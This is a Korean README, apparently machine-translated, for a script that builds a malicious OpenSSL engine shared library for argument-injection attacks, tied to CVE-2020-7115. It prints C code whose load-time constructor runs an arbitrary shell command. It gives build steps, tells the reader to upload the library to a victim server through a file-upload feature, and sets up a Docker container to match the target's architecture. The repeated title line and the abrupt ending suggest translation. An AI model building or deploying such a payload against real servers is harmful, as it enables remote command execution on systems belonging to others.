
몇 초 만에 악성 엔진을 생성하세요
몇 초 안에 악성 엔진을 생성하세요
openssl 인자 주입 시나리오에서 사용할 준비가 된 악성 엔진을 생성하는 간단한 스크립트입니다.
매우 간단합니다. engine.c 파일에서 원하는 명령어로 수정하기만 하면 됩니다:
#include <unistd.h>
__attribute__((constructor))
static void init() {
execl("/bin/sh", "sh", "-c", "COMMAND");
}
완료한 후에는 다음과 같이 스크립트를 실행하기만 하면 됩니다:
bash build_engine.sh
이 명령은 output이라는 폴더를 생성하며, 그 안에서 engine.so 파일을 찾을 수 있습니다. 이 파일을 파일 업로드 기능을 통해 서버로 전송해야 합니다.
악성 엔진은 피해자 시스템과 동일한 특성으로 생성해야 한다는 점을 아는 것이 중요합니다. 즉, 대상 시스템이 64비트 리눅스에서 실행 중이라면 64비트 리눅스에서 악성 엔진을 생성해야 합니다.
도커는 이런 종류의 작업에 놀라운 기술이며, 환경 설정이 매우 쉽습니다.
먼저 이 사이트에서 64비트 데비안 리눅스 시스템용 도커 이미지를 다운로드합시다:
sudo docker pull debian
그런 다음 다음과 같이 도커를 실행합니다:
sudo docker run -v `pwd`:/code -it debian
여기서 한 작업을 조금 이해해 봅시다. -v 플래그는 볼륨을 생성하는 데 사용되며, 이 경우 /code 폴더의 내용을 현재 디렉터리의 내용과 연결하므로 pwd를 사용한 것입니다.
연결한다는 것은 도커 이미지의 루트에 있는 /code 폴더에서 만들거나 편집한 모든 내용을 pwd에서도 확인할 수 있고 그 반대도 가능하다는 의미입니다.
우리의 경우 pwd는 로컬 머신의 다음 디렉터리를 가리킵니다:
/home/retr0/CVE-2020-7115/
반면 -it 플래그는 다음과 같이 이해할 수 있습니다:
-t (--tty) 플래그는 Docker에게 컨테이너 내부에 가상 터미널 세션을 매핑하도록 지시합니다. 이는 일반적으로 detached mode에서 실행 중에도 STDIN을 열어 두는 -i (--interactive) 옵션과 함께 사용됩니다.
따라서 실제로 -it 플래그를 사용하는 것은 해당 컨테이너의 셸을 얻고자 할 때 유용합니다.
문제없습니다. 이 게시글을 방문하면 이 취약점을 완전히 이해할 수 있을 것입니다.